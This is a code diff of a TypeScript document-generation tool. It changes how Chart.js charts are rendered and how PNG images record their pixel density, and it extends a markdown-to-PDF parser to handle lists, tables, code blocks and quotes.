String(args.xAxisLabel) : undefined+ const axisTicks = {+ color: theme.textColor,+ font: { family: CHART_FONT_STACK, size: px(12) },+ }+ // Applied to whichever axis carries the values, never to the one carrying+ // the category names. The decision to abbreviate is taken from the whole+ // tick range, so one axis never mixes "$350K" with "$50,000".+ const valueTick = {+ callback: (value: string | number, _i: number, ticks: Array<{ value: number }>) => {+ const peak = Math.max(...ticks.map(t => Math.abs(t.value)), 0)+ const scaled =+ peak >= 10_000 ? { ...valueOptions, format: 'compact' as const } : valueOptions+ const prefix =+ valueOptions.format === 'currency' ? (valueOptions.currencySymbol ?? '$') : ''+ const suffix = valueOptions.format === 'percent' ? '%' : ''+ return peak >= 10_000+ ? `${Number(value) < 0 ? '-' : ''}${prefix}${formatValue(Math.abs(Number(value)), scaled)}${suffix}`+ : formatValue(Number(value), valueOptions)+ },+ }+ const headroom = { afterDataLimits: addHeadroom }const config: ChartConfiguration = {type: chartType,@@ -691,78 +1034,133 @@ const generateChart: InternalToolDefinition = {options: {responsive: false,animation: false,- devicePixelRatio: 2,+ devicePixelRatio: pixelRatio * layoutScale,maintainAspectRatio: false,+ // Room for value labels that sit just outside the outermost marks.+ layout: { padding: { top: 12, right: 16, bottom: 4, left: 4 } },+ // Without a cap, a chart with one or two categories draws bars as+ // wide as the plot, which reads as a block rather than a measurement.+ datasets: { bar: { maxBarThickness: MAX_BAR_THICKNESS } },...resolved.optionsOverrides,plugins: {- title: args.title+ title: title? {display: true,- text: String(args.title),+ text: title,color: theme.textColor,- font: { size: 16, weight: 'bold' as const },- padding: { top: 8, bottom: 16 },+ font: { family: CHART_FONT_STACK, size: px(17), weight: 'bold' as const },+ padding: { top: 6, bottom: 14 },}: { display: false },legend: {- display: resolved.optionsOverrides?.plugins?.legend?.display !== false,- labels: { color: theme.textColor },+ display: legendDisplay,+ position: 'top' as const,+ labels: {+ color: theme.textColor,+ font: { family: CHART_FONT_STACK, size: px(12) },+ usePointStyle: true,+ boxWidth: 10,+ boxHeight: 10,+ },},...(resolved.optionsOverrides?.plugins ?? {}),},scales: showAxes? {x: {- ticks: { color: theme.textColor },+ ticks: {+ ...axisTicks,+ autoSkip: true,+ maxRotation: 45,+ minRotation: 0,+ ...(indexAxis === 'y' ? valueTick : {}),+ },grid: { color: theme.gridColor },+ // A bubble reaches its radius past its value, on either axis.+ ...(indexAxis === 'y' || chartTypeRaw === 'bubble' ? headroom : {}),title: xAxisLabel- ? { display: true, text: xAxisLabel, color: theme.textColor }+ ? {+ display: true,+ text: xAxisLabel,+ color: theme.textColor,+ font: { family: CHART_FONT_STACK, size: px(13) },+ }: { display: false },...(resolved.optionsOverrides?.scales?.x ?? {}),},y: {- ticks: { color: theme.textColor },+ ticks: {+ ...axisTicks,+ ...(indexAxis === 'x' ? valueTick : {}),+ },grid: { color: theme.gridColor },+ ...(indexAxis === 'x' ? headroom : {}),title: yAxisLabel- ? { display: true, text: yAxisLabel, color: theme.textColor }+ ? {+ display: true,+ text: yAxisLabel,+ color: theme.textColor,+ font: { family: CHART_FONT_STACK, size: px(13) },+ }: { display: false },...(resolved.optionsOverrides?.scales?.y ?? {}),},+ ...(resolved.optionsOverrides?.scales?.y1+ ? {+ y1: {+ ticks: axisTicks,+ ...resolved.optionsOverrides.scales.y1,+ },+ }+ : {}),}- : undefined,+ : radial+ ? {+ r: {+ // Above the data, so slices and fills do not cover the scale.+ ticks: { ...axisTicks, backdropColor: theme.backgroundColor, z: 1 },+ grid: { color: theme.gridColor },+ angleLines: { color: theme.gridColor },+ pointLabels: {+ color: theme.textColor,+ font: { family: CHART_FONT_STACK, size: px(12) },+ },+ },+ }+ : undefined,},- plugins: [- {- id: 'themeBackground',- beforeDraw: ch => {- const ctx = ch.ctx- ctx.save()- ctx.globalCompositeOperation = 'destination-over'- ctx.fillStyle = theme.backgroundColor- ctx.fillRect(0, 0, ch.width, ch.height)- ctx.restore()- },- },- ],+ plugins,}- const canvas = createCanvas(width, height)+ // The canvas is created at the layout size and Chart.js is told the pixel+ // ratio, so it lays out in nominal units and rasterizes the backing store+ // at the higher density itself. Scaling the context by hand instead does+ // not work: Chart.js resets the transform, so the layout silently becomes+ // the full device size and every font ends up half its intended size+ // relative to the image.+ const canvas = createCanvas(layoutWidth, layoutHeight)const ctx = canvas.getContext('2d') as SKRSContext2D// Chart.js types target a browser CanvasRenderingContext2D; the Skia// context is API-compatible for the subset Chart.js uses.- // eslint-disable-next-line @typescript-eslint/no-explicit-anychart = new Chart(ctx as any, config)chart.update('none')- const pngBuffer = canvas.toBuffer('image/png')+ const pngBuffer = stampPngDensity(canvas.toBuffer('image/png'), pixelRatio)ensureDir(outputDir)- enforceQuota(outputDir, pngBuffer.byteLength)- const filePath = path.join(outputDir, filename)- fs.writeFileSync(filePath, pngBuffer)-- return { success: true, artifact: buildArtifact(filePath, 'png') }+ const target = claimOutputFile(outputDir, filename)+ enforceQuota(outputDir, pngBuffer.byteLength, replacedBytes(target))+ fs.writeFileSync(target.filePath, pngBuffer)++ const summary =+ `Chart written: ${target.filename} (${canvas.width}x${canvas.height} px, ` ++ `${chartTypeRaw}, ${themedDatasets.length} series). To embed it, pass ` ++ `images: [{ path: '${target.filename}' }] to the PDF or DOCX generator, ` ++ `sheets[].images: [{ path: '${target.filename}' }] to the XLSX generator, or ` ++ `path '${target.filename}' as a PPTX slide image or chart.`+ return artifactResult(target, 'png', { summary, warnings })} catch (err) {+ if (err instanceof ChartDataError) return { success: false, error: err.message }return { success: false, error: err instanceof Error ? err.message : String(err) }} finally {if (chart) chart.destroy()@@ -770,14 +1168,118 @@ const generateChart: InternalToolDefinition = {},}-function clampDimension(value: unknown, fallback: number): number {+/** Nominal pixels are multiplied by this to keep charts sharp when scaled down. */+const CHART_PIXEL_RATIO = 2++/** Longest side a chart is laid out at, in nominal pixels. */+const MAX_LAYOUT_SIDE = 1600++/** Largest canvas drawn, in device pixels: 50 MiB of RGBA. */+const MAX_CANVAS_PIXELS = 13_107_200++/**+ * Pixel ratio for a chart of the given layout size. A large chart is drawn at a+ * lower density rather than refused, down to 1; undefined when even that would+ * exceed MAX_CANVAS_PIXELS.+ */+function chartPixelRatio(width: number, height: number): number | undefined {+ const area = width * height+ if (area > MAX_CANVAS_PIXELS) return undefined+ return Math.min(CHART_PIXEL_RATIO, Math.sqrt(MAX_CANVAS_PIXELS / area))+}++/** Types where per-point labels would collide more than they inform. */+const VALUE_LABELS_OFF_BY_DEFAULT = new Set([+ 'scatter',+ 'bubble',+ 'radar',+ 'gauge',+ 'stackedArea',+ 'stackedBar',+])++function shouldLabelValues(chartType: string, requested: unknown): boolean {+ if (typeof requested === 'boolean') return requested+ return !VALUE_LABELS_OFF_BY_DEFAULT.has(chartType)+}++function resolveValueFormat(raw: unknown): ValueFormat {+ const allowed: ValueFormat[] = ['auto', 'plain', 'compact', 'currency', 'percent']+ const v = String(raw ?? 'auto') as ValueFormat+ return allowed.includes(v) ? v : 'auto'+}++/** True when every plotted number is absent or zero, so nothing would be drawn. */+function isVisuallyEmpty(datasets: ChartDataset[]): boolean {+ let sawNumber = false+ for (const ds of datasets) {+ for (const point of ds.data as unknown[]) {+ const value =+ typeof point === 'number'+ ? point+ : point && typeof point === 'object' && 'y' in point+ ? (point as { y: number }).y+ : Array.isArray(point)+ ? Number(point[1]) - Number(point[0])+ : null+ if (typeof value === 'number' && Number.isFinite(value)) {+ sawNumber = true+ if (value !== 0) return false+ }+ }+ }+ return sawNumber+}++function clampDimension(+ field: 'width' | 'height',+ value: unknown,+ fallback: number,+ warnings: string[]+): number {+ if (value === undefined || value === null) return fallbackconst n = typeof value === 'number' ? value : Number(value)- if (!Number.isFinite(n) || n <= 0) return fallback- return Math.min(Math.max(Math.floor(n), 1), MAX_CHART_DIMENSION)+ if (!Number.isFinite(n) || n <= 0) {+ warnings.push(`${field} ${String(value)} is not a positive number; used ${fallback}.`)+ return fallback+ }+ if (n > MAX_CHART_DIMENSION) {+ warnings.push(+ `${field} ${n} is over the ${MAX_CHART_DIMENSION} maximum; used ${MAX_CHART_DIMENSION}.`+ )+ return MAX_CHART_DIMENSION+ }+ if (n < MIN_CHART_DIMENSION) {+ warnings.push(+ `${field} ${n} is under the ${MIN_CHART_DIMENSION} minimum, too small to read; ` ++ `used ${MIN_CHART_DIMENSION}.`+ )+ return MIN_CHART_DIMENSION+ }+ return Math.floor(n)}// ─── generate_markdown ───────────────────────────────────────────────+/** The file text, or an error saying what content must be; never a stringified array or object. */+function markdownContent(value: unknown): string | { error: string } {+ if (value === undefined || value === null) {+ return { error: 'content is required: pass the markdown text to write.' }+ }+ const lines = Array.isArray(value) ? value : [value]+ if (!lines.every(line => typeof line === 'string')) {+ const received = Array.isArray(value)+ ? 'an array with entries that are not text'+ : `a ${typeof value}`+ return {+ error: `content must be the markdown text as a string, or an array of lines; received ${received}.`,+ }+ }+ const text = lines.join('\n')+ if (!text.trim()) return { error: 'content is empty: pass the markdown text to write.' }+ return text+}+const generateMarkdown: InternalToolDefinition = {name: 'clerum__generate_markdown',description: 'Generate a Markdown (.md) file. Provide the filename and full markdown content.',@@ -789,24 +1291,24 @@ const generateMarkdown: InternalToolDefinition = {description: "Output filename (e.g. 'report.md'). Extension .md added if missing.",},content: {- type: 'string',- description: 'Full markdown content to write.',+ anyOf: [{ type: 'string' }, { type: 'array', items: { type: 'string' } }],+ description: 'Full markdown text, as one string or an array of lines.',},},required: ['filename', 'content'],},async execute(args: Record<string, unknown>, outputDir: string): Promise<InternalToolResult> {try {- const rawName = String(args.filename ?? 'output.md')- const filename = sanitizeFilename(ensureExtension(rawName, 'md'))- const content = String(args.content ?? '')+ const filename = outputFilename(args.filename, 'md', 'output')+ const content = markdownContent(args.content)+ if (typeof content !== 'string') return { success: false, error: content.error }ensureDir(outputDir)- enforceQuota(outputDir, Buffer.byteLength(content, 'utf-8'))- const filePath = path.join(outputDir, filename)- fs.writeFileSync(filePath, content, 'utf-8')+ const target = claimOutputFile(outputDir, filename)+ enforceQuota(outputDir, Buffer.byteLength(content, 'utf-8'), replacedBytes(target))+ fs.writeFileSync(target.filePath, content, 'utf-8')- return { success: true, artifact: buildArtifact(filePath, 'md') }+ return artifactResult(target, 'md')} catch (err) {return { success: false, error: err instanceof Error ? err.message : String(err) }}@@ -879,15 +1381,94 @@ const PDF_PALETTES: Record<string, PdfPalette> = {},}-const PDF_FONTS: TFontDictionary = {- Helvetica: {- normal: 'Helvetica',- bold: 'Helvetica-Bold',- italics: 'Helvetica-Oblique',- bolditalics: 'Helvetica-BoldOblique',- },+/**+ * Stamp a PNG's pHYs chunk so consumers know the image is oversampled.+ *+ * Charts are rasterized above their layout size to stay sharp in print. Every+ * embedder sizes an image from its pixel count, so without this the extra+ * pixels are read as extra size and the whole chart — its type included — is+ * scaled down to fit, landing at about a third of the surrounding body text.+ * Recording the density lets `imageDisplaySize` recover the size the chart was+ * laid out for.+ */+function stampPngDensity(png: Buffer, ratio: number): Buffer {+ const ppm = Math.round(PNG_BASE_PPM * ratio)+ const data = Buffer.alloc(9)+ data.writeUInt32BE(ppm, 0)+ data.writeUInt32BE(ppm, 4)+ data.writeUInt8(1, 8) // unit: metres+ const type = Buffer.from('pHYs', 'latin1')+ const chunk = Buffer.alloc(12 + data.length)+ chunk.writeUInt32BE(data.length, 0)+ type.copy(chunk, 4)+ data.copy(chunk, 8)+ chunk.writeUInt32BE(crc32(Buffer.concat([type, data])), 8 + data.length)++ // IHDR is always the first chunk: 8-byte signature + 4 length + 4 type + 13+ // data + 4 CRC. The new chunk goes straight after it.+ const insertAt = 8 + 25+ if (png.length < insertAt) return png+ return Buffer.concat([png.subarray(0, insertAt), chunk, png.subarray(insertAt)])+}++let crcTable: Uint32Array | undefined++function crc32(buf: Buffer): number {+ if (!crcTable) {+ crcTable = new Uint32Array(256)+ for (let n = 0; n < 256; n++) {+ let c = n+ for (let k = 0; k < 8; k++) c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1+ crcTable[n] = c >>> 0+ }+ }+ let crc = 0xffffffff+ for (const byte of buf) crc = crcTable[(crc ^ byte) & 0xff] ^ (crc >>> 8)+ return (crc ^ 0xffffffff) >>> 0}+/** A4 width (595pt) less the 40pt side margins the documents use. */+const PDF_CONTENT_WIDTH = PORTRAIT.width++/** Printable width of a default Word page, in pixels at 96dpi. */+const DOCX_MAX_IMAGE_WIDTH = 560+const DOCX_MAX_IMAGE_HEIGHT = 380++/** Drawn size for a spreadsheet image, in pixels. */+const XLSX_MAX_IMAGE_WIDTH = 640+const XLSX_MAX_IMAGE_HEIGHT = 400++/** Keeps a tall image from taking a whole page on its own. */+const PDF_MAX_IMAGE_HEIGHT = 330++/** Vertical margin around an embedded image, above and below. */+const PDF_IMAGE_MARGIN = 10++/** The cover logo's box: its usual width, and a height a tall logo cannot exceed. */+const PDF_LOGO_BOX = { width: 120, height: 80 }++/**+ * Id prefix of each table's first header cell. pdfmake corrects the page+ * number it records for a block moved to the next page only on nodes with an+ * id, and the heading check reads it to see where a table really starts.+ */+const TABLE_HEADER_ID = 'pdf-table-'++/**+ * Style of the running header and footer. pdfmake lists their nodes among a+ * page's content when deciding page breaks, and this is how they are told apart.+ */+const RUNNING_STYLE = 'running'++/** Top page margin; the running header is drawn inside it. */+const PDF_TOP_MARGIN = 60++/** Footer lines that fit once the bottom margin has grown to hold them. */+const PDF_MAX_FOOTER_LINES = 6+const PDF_FOOTER_SIZE = 9++const PDF_LINE_HEIGHT = 1.3+interface PdfBranding {logoPath?: stringcompanyName?: string@@ -902,96 +1483,206 @@ interface PdfImageRef {}interface PdfTableSpec {- headers: string[]- rows: (string | number | null)[][]- widths?: (string | number)[]+ headers: unknown[]+ rows: unknown+ widths?: unknownlayout?: 'striped' | 'minimal' | 'grid'}+/** What the body parser needs from the call it serves. */+interface PdfBodyEnv {+ warnings: string[]+ /** Width of text at 1pt in the body face, for sizing table columns. */+ measure: UnitMeasure+ /** An image block for a `` line, or undefined when it could not be loaded. */+ image(src: string): Content | undefined+ /** Tables that need landscape pages. */+ landscape: Set<Content>+ /** Tables parsed from the body so far, for naming them in warnings. */+ tableCount: number+ /** Tables built so far, body and explicit, for giving each header a unique id. */+ tablesBuilt: number+ /** Bottom page margin, which grows with the footer. */+ bottomMargin: number+}+/**- * Parse a small subset of GitHub-flavored markdown (one line at a time) into- * pdfmake content nodes. Recognized: # H1 / ## H2 / ### H3, **bold**, *italic*,- * `code`, - bullets, GFM pipe tables, blank line spacing. Anything else falls- * through as plain text. Keeps the dep footprint zero — no full markdown lib.+ * Branding as it prints: HTML in the company name and footer read as text,+ * the footer keeping its lines.*/-function parseInlineMarkdown(line: string): ContentText {- // Bold first (non-greedy `[\s\S]+?` so it can include single asterisks- // for nested italic like `**bold *italic***`); then italic with negative- // lookbehind/lookahead to avoid eating one of a `**` pair; then inline- // code. Order matters: bold runs first so its match wins on `**...**`.- type Span = { text: string; bold?: boolean; italics?: boolean; mono?: boolean }- const spans: Span[] = []- let remaining = line- const inlineRe = /(\*\*[\s\S]+?\*\*|(?<!\*)\*(?!\*)[^*]+\*(?!\*)|`[^`]+`)/- while (remaining.length > 0) {- const m = inlineRe.exec(remaining)- if (!m) {- spans.push({ text: remaining })- break- }- if (m.index > 0) spans.push({ text: remaining.slice(0, m.index) })- const token = m[0]- if (token.startsWith('**')) {- spans.push({ text: token.slice(2, -2), bold: true })- } else if (token.startsWith('`')) {- spans.push({ text: token.slice(1, -1), mono: true })- } else {- spans.push({ text: token.slice(1, -1), italics: true })- }- remaining = remaining.slice(m.index + token.length)- }+function printedBranding(raw: unknown): {+ logoPath?: string+ companyName?: string+ footerText?: string+} {+ const branding = (raw && typeof raw === 'object' && !Array.isArray(raw) ? raw : {}) as Record<+ string,+ unknown+ >+ const text = (value: unknown) =>+ value === undefined || value === null ? undefined : String(value)+ const companyName = text(branding.companyName)+ const footerText = text(branding.footerText)return {- text: spans.map(s => ({- text: s.text,- ...(s.bold ? { bold: true } : {}),- ...(s.italics ? { italics: true } : {}),- ...(s.mono ? { font: 'Helvetica' } : {}),- })),+ ...branding,+ ...(companyName !== undefined ? { companyName: htmlToPlainText(companyName) } : {}),+ ...(footerText !== undefined ? { footerText: htmlToPlainLines(footerText) } : {}),+ }+}++/** An image reference written in the body: ``. */+interface MarkdownImage {+ alt: string+ src: string+}++/**+ * Inline markup of one line as pdfmake runs: **bold**, *italic*, ~~strike~~,+ * `code`, links, the HTML tags models write, and character entities. Image+ * references are taken out of the text and handed to `onImage`.+ */+function parseInlineMarkdown(line: string, onImage: (image: MarkdownImage) => void): ContentText {+ const runs: ContentText[] = []+ for (const span of inlineSpans(line)) {+ if (span.image !== undefined) {+ onImage({ alt: span.text, src: span.image })+ continue+ }+ runs.push({+ text: span.text,+ ...(span.bold ? { bold: true } : {}),+ ...(span.italics ? { italics: true } : {}),+ ...(span.code ? { font: PDF_MONO_FAMILY } : {}),+ ...(span.link !== undefined+ ? { link: span.link, color: '#1d4ed8', decoration: 'underline' as const }+ : span.strike+ ? { decoration: 'lineThrough' as const }+ : {}),+ })}+ return { text: runs }+}++/** The text a parsed line prints, for measuring it. */+function plainText(parsed: ContentText): string {+ const text = parsed.text+ if (!Array.isArray(text)) return String(text ?? '')+ return text+ .map(t => (typeof t === 'string' ? t : String((t as { text?: unknown }).text ?? '')))+ .join('')}+/** A GFM delimiter row. One column needs its outer pipes, or it is only a rule. */function isTableSeparator(line: string): boolean {- return /^\s*\|?\s*:?-+:?\s*(\|\s*:?-+:?\s*)+\|?\s*$/.test(line)+ return (+ /^\s*\|?\s*:?-+:?\s*(\|\s*:?-+:?\s*)+\|?\s*$/.test(line) ||+ /^\s*\|\s*:?-+:?\s*\|\s*$/.test(line)+ )}+/** Cells of a pipe-table row. `\|` is a literal pipe inside a cell. */function splitTableRow(line: string): string[] {let trimmed = line.trim()if (trimmed.startsWith('|')) trimmed = trimmed.slice(1)- if (trimmed.endsWith('|')) trimmed = trimmed.slice(0, -1)- return trimmed.split('|').map(c => c.trim())+ if (trimmed.endsWith('|') && !trimmed.endsWith('\\|')) trimmed = trimmed.slice(0, -1)+ return trimmed.split(/(?<!\\)\|/).map(c => c.trim().replace(/\\\|/g, '|'))+}++/**+ * Whether a GFM table starts at line `i`. GFM makes the outer pipes optional+ * and some models leave them out, so a header without them counts when it has+ * as many cells as the separator under it.+ */+function isPipeTableStart(lines: string[], i: number): boolean {+ const line = lines[i]+ const next = lines[i + 1]+ if (next === undefined || !line.includes('|') || !isTableSeparator(next)) return false+ return (+ line.trimStart().startsWith('|') || splitTableRow(line).length === splitTableRow(next).length+ )+}++type ColumnAlignment = 'left' | 'center' | 'right'++interface PdfTableRequest {+ headers: string[]+ rows: string[][]+ layout?: 'striped' | 'minimal' | 'grid'+ widths?: unknown+ alignments?: ColumnAlignment[]+ /** How warnings name the table, such as "tables[0]". */+ label: string+ /** How warnings name one of its rows, such as "tables[0].rows[2]". */+ rowLabel(index: number): string}function buildTableNode(- headers: string[],- rows: string[][],+ request: PdfTableRequest,palette: PdfPalette,- layout: 'striped' | 'minimal' | 'grid' = 'striped',- widths?: (string | number)[]-): ContentTable {- // Normalize each row to exactly headers.length cells. Ragged input from- // the LLM (missing trailing cells, extra cells past header count) would- // otherwise produce a misaligned table that pdfmake renders silently- // wrong. Pad short rows with '' and truncate over-long rows.- const normalizedRows = rows.map(row => normalizeRowLength(row, headers.length))- return {+ env: PdfBodyEnv,+ onImage: (image: MarkdownImage) => void+): Content {+ const { headers, alignments } = request+ const layout = request.layout ?? 'striped'+ // pdfmake needs every row to have one cell per column: short rows are+ // padded, and cells past the last header are cut and reported.+ const long = request.rows.flatMap((row, i) => (row.length > headers.length ? [i] : []))+ if (long.length > 0) {+ const first = request.rows[long[0]].length+ env.warnings.push(+ `${request.rowLabel(long[0])} has ${first} cells for ${headers.length} headers` ++ (long.length > 1 ? ` (and ${long.length - 1} more row(s) have too many)` : '') ++ ', so the cells past the last header were left out; add a header for every column.'+ )+ }+ const cells = request.rows.map(row =>+ normalizeRowLength(row, headers.length).map(cell => parseInlineMarkdown(cell ?? '', onImage))+ )+ const headerCells = headers.map(h => parseInlineMarkdown(h, onImage))+ const fit = layoutPdfTable(+ {+ headers: headerCells.map(plainText),+ rows: cells.map(row => row.map(plainText)),+ requested: request.widths,+ cellPadding: 8,+ ruleWidth: layout === 'grid' ? 0.5 : 0,+ allowLandscape: true,+ label: request.label,+ bottomMargin: env.bottomMargin,+ },+ env.measure,+ env.warnings+ )+ const align = (col: number) =>+ alignments?.[col] && alignments[col] !== 'left' ? { alignment: alignments[col] } : {}+ const node = {table: {headerRows: 1,- widths: widths ?? headers.map(() => '*'),+ // Without this a table starting near the foot of a page leaves its+ // header stranded there with every row on the next one.+ ...(fit.keepWithHeaderRows ? { keepWithHeaderRows: 1 } : {}),+ dontBreakRows: fit.dontBreakRows,+ widths: fit.widths,body: [- headers.map(h => ({ text: h, bold: true, color: '#ffffff', fillColor: palette.primary })),- ...normalizedRows.map(row =>- row.map(cell => {- const parsed = parseInlineMarkdown(cell ?? '')- // pdfmake accepts a `text` array of inline runs as a cell — use that- // so **bold** / *italic* / `code` inside cells render correctly.- return parsed- })- ),+ headerCells.map((h, col) => ({+ ...h,+ ...(col === 0 ? { id: `${TABLE_HEADER_ID}${++env.tablesBuilt}` } : {}),+ bold: true,+ color: '#ffffff',+ fillColor: palette.primary,+ ...align(col),+ })),+ // pdfmake accepts a `text` array of inline runs as a cell — use that+ // so **bold** / *italic* / `code` inside cells render correctly.+ ...cells.map(row => row.map((cell, col) => ({ ...cell, ...align(col) }))),],},layout: pdfTableLayout(layout, palette),margin: [0, 4, 0, 8],- }+ ...(fit.fontSize !== BODY_FONT_SIZE ? { fontSize: fit.fontSize } : {}),+ } as Content+ if (fit.landscape) env.landscape.add(node)+ return node}/**@@ -1031,52 +1722,165 @@ function pdfTableLayout(name: 'striped' | 'minimal' | 'grid', palette: PdfPalett}}+/** Read the alignments a GFM separator row declares (`:---`, `---:`, `:---:`). */+function parseColumnAlignments(separator: string): ColumnAlignment[] {+ return splitTableRow(separator).map(cell => {+ const c = cell.trim()+ const left = c.startsWith(':')+ const right = c.endsWith(':')+ if (left && right) return 'center'+ if (right) return 'right'+ return 'left'+ })+}++/** Indent width of a list line, used to decide its nesting depth. */+function indentOf(line: string): number {+ const m = /^[ \t]*/.exec(line)+ if (!m) return 0+ // A tab counts as one level, matching how models write nested lists.+ return m[0].replace(/\t/g, ' ').length+}++const BULLET_RE = /^[-*+]\s+/+const ORDERED_RE = /^\d+[.)]\s+/++function isListLine(line: string): boolean {+ const t = line.trimStart()+ return BULLET_RE.test(t) || ORDERED_RE.test(t)+}++function stripListMarker(line: string): string {+ const t = line.trimStart()+ return t.replace(BULLET_RE, '').replace(ORDERED_RE, '')+}++/**+ * Build one list level, consuming the lines that belong to it. A line indented+ * further than the level's own indent starts a nested list attached to the item+ * above it, which is what preserves the hierarchy the author wrote.+ */+function buildList(+ lines: string[],+ start: number,+ indent: number,+ onImage: (image: MarkdownImage) => void+): { node: Content; next: number } {+ const ordered = ORDERED_RE.test(lines[start].trimStart())+ const items: Content[] = []+ let i = start++ while (i < lines.length) {+ if (lines[i].trim() === '') {+ // Blank lines between items keep the list going: models separate+ // numbered steps that way and expect the numbers to continue.+ let j = i+ while (j < lines.length && lines[j].trim() === '') j+++ const continues =+ j < lines.length &&+ isListLine(lines[j]) &&+ (indentOf(lines[j]) > indent ||+ (indentOf(lines[j]) === indent && ORDERED_RE.test(lines[j].trimStart()) === ordered))+ if (!continues) break+ i = j+ continue+ }+ if (!isListLine(lines[i]) || indentOf(lines[i]) < indent) break+ const own = indentOf(lines[i])+ if (own > indent) {+ // Deeper than this level: attach to the previous item as a sub-list.+ const sub = buildList(lines, i, own, onImage)+ const previous = items.pop()+ items.push(previous ? ([previous, sub.node] as unknown as Content) : sub.node)+ i = sub.next+ continue+ }+ const isOrdered = ORDERED_RE.test(lines[i].trimStart())+ // A different marker at the same indent starts a different list.+ if (isOrdered !== ordered) break+ items.push(parseInlineMarkdown(stripListMarker(lines[i]), onImage))+ i+++ }++ // A list that picks up after a code block or a paragraph keeps its numbers.+ const first = ordered ? parseInt(lines[start].trimStart(), 10) : 1+ const node = (+ ordered+ ? { ol: items, ...(first !== 1 ? { start: first } : {}), margin: [0, 4, 0, 6] }+ : { ul: items, margin: [0, 4, 0, 6] }+ ) as Content+ return { node, next: i }+}+/**- * Convert a markdown body string into pdfmake content nodes. Single-pass- * line scanner that detects H1/H2/H3, GFM tables, bullets, and blank lines.+ * Convert a markdown body into pdfmake content nodes: a single-pass line+ * scanner for headings, fenced code, rules, GFM tables, quotes, lists, image+ * lines and paragraphs.*/-function bodyToContent(body: string, palette: PdfPalette): Content[] {+function bodyToContent(body: string, palette: PdfPalette, env: PdfBodyEnv): Content[] {const out: Content[] = []const lines = body.split('\n')+ // A paragraph's images are placed after it; anywhere else they are left out+ // with a note rather than printing their path.+ const stray = (image: MarkdownImage) =>+ env.warnings.push(+ `The image '${image.src}' inside a table, list, heading or quote was left out; put ` ++ ` on a line of its own to embed it.`+ )let i = 0while (i < lines.length) {const line = lines[i]const trimmed = line.trimStart()- // Heading levels- if (trimmed.startsWith('### ')) {- out.push({- text: trimmed.slice(4),- style: 'h3',- margin: [0, 8, 0, 4],- })+ // Fenced code block. Everything up to the closing fence is verbatim, so a+ // shell snippet or a config sample keeps its spacing instead of being+ // reflowed into paragraphs.+ const fence = /^(```|~~~)(.*)$/.exec(trimmed)+ if (fence) {+ const marker = fence[1]+ const language = fence[2].trim()+ const code: string[] = []i+++ while (i < lines.length && !lines[i].trimStart().startsWith(marker)) {+ code.push(lines[i])+ i+++ }+ i++ // closing fence+ out.push(buildCodeBlock(code.join('\n'), language, palette))continue}- if (trimmed.startsWith('## ')) {++ // Heading levels. The deeper ones share h3's style rather than falling+ // through as literal hashes. headlineLevel marks them for the page-break+ // check that keeps a heading off the foot of a page.+ const heading = /^(#{1,6})\s+(.*)$/.exec(trimmed)+ if (heading) {+ const level = heading[1].length+ const style = level === 1 ? 'h1' : level === 2 ? 'h2' : 'h3'+ const top = level === 1 ? 16 : level === 2 ? 12 : 8out.push({- text: trimmed.slice(3),- style: 'h2',- margin: [0, 12, 0, 4],- })- i++- continue- }- if (trimmed.startsWith('# ')) {- out.push({- text: trimmed.slice(2),- style: 'h1',- margin: [0, 16, 0, 6],- })+ ...parseInlineMarkdown(withoutClosingHashes(heading[2]), stray),+ style,+ headlineLevel: 1,+ margin: [0, top, 0, level === 1 ? 6 : 4],+ } as Content)i++continue}- // Horizontal rule- if (/^---+$/.test(trimmed)) {+ // Horizontal rule in any of the three markdown spellings.+ if (/^(-{3,}|\*{3,}|_{3,})$/.test(trimmed.replace(/\s+/g, ''))) {out.push({canvas: [- { type: 'line', x1: 0, y1: 0, x2: 515, y2: 0, lineWidth: 0.5, lineColor: palette.border },+ {+ type: 'line',+ x1: 0,+ y1: 0,+ x2: PDF_CONTENT_WIDTH,+ y2: 0,+ lineWidth: 0.5,+ lineColor: palette.border,+ },],margin: [0, 8, 0, 8],})@@ -1084,27 +1888,45 @@ function bodyToContent(body: string, palette: PdfPalette): Content[] {continue}- // GFM pipe table: header line, then separator, then >=1 data rows.- if (trimmed.startsWith('|') && i + 1 < lines.length && isTableSeparator(lines[i + 1])) {+ // GFM pipe table: header line, then separator, then the rows up to the+ // first line without a pipe.+ if (isPipeTableStart(lines, i)) {const headers = splitTableRow(line)+ const alignments = parseColumnAlignments(lines[i + 1])const rows: string[][] = []i += 2- while (i < lines.length && lines[i].trimStart().startsWith('|')) {+ while (i < lines.length && lines[i].trim() !== '' && lines[i].includes('|')) {rows.push(splitTableRow(lines[i]))i++}- out.push(buildTableNode(headers, rows, palette, 'striped'))+ const label = `The body's table ${++env.tableCount}`+ out.push(+ buildTableNode(+ { headers, rows, alignments, label, rowLabel: index => `${label}, row ${index + 1}` },+ palette,+ env,+ stray+ )+ )continue}- // Bullet list block- if (trimmed.startsWith('- ')) {- const items: ContentText[] = []- while (i < lines.length && lines[i].trimStart().startsWith('- ')) {- items.push(parseInlineMarkdown(lines[i].trimStart().slice(2)))+ // Blockquote: consecutive `>` lines become one ruled, indented block.+ if (/^>\s?/.test(trimmed)) {+ const quoted: string[] = []+ while (i < lines.length && /^>\s?/.test(lines[i].trimStart())) {+ quoted.push(lines[i].trimStart().replace(/^>\s?/, ''))i++}- out.push({ ul: items, margin: [0, 4, 0, 6] })+ out.push(buildBlockquote(quoteParagraphs(quoted), palette, stray))+ continue+ }++ // Bullet or numbered list, including anything nested under it.+ if (isListLine(line)) {+ const built = buildList(lines, i, indentOf(line), stray)+ out.push(built.node)+ i = built.nextcontinue}@@ -1115,13 +1937,96 @@ function bodyToContent(body: string, palette: PdfPalette): Content[] {continue}- // Default: paragraph with inline markdown.- out.push({ ...parseInlineMarkdown(line), margin: [0, 0, 0, 4] })+ // Default: paragraph with inline markdown, then any images it references.+ const images: MarkdownImage[] = []+ const paragraph = parseInlineMarkdown(line, image => images.push(image))+ if (plainText(paragraph).trim() !== '') out.push({ ...paragraph, margin: [0, 0, 0, 4] })+ for (const image of images) {+ const block = env.image(image.src)+ if (block) out.push(block)+ }i++}return out}+/** Monospaced block on a tinted ground, with the language noted when given. */+function buildCodeBlock(code: string, language: string, palette: PdfPalette): Content {+ const stack: Content[] = []+ if (language) {+ stack.push({+ text: language,+ fontSize: 8,+ color: palette.muted,+ margin: [0, 0, 0, 2],+ })+ }+ stack.push({+ text: code,+ font: PDF_MONO_FAMILY,+ fontSize: 9,+ color: palette.text,+ preserveLeadingSpaces: true,+ lineHeight: 1.25,+ } as Content)+ return {+ table: {+ // A numeric width lets 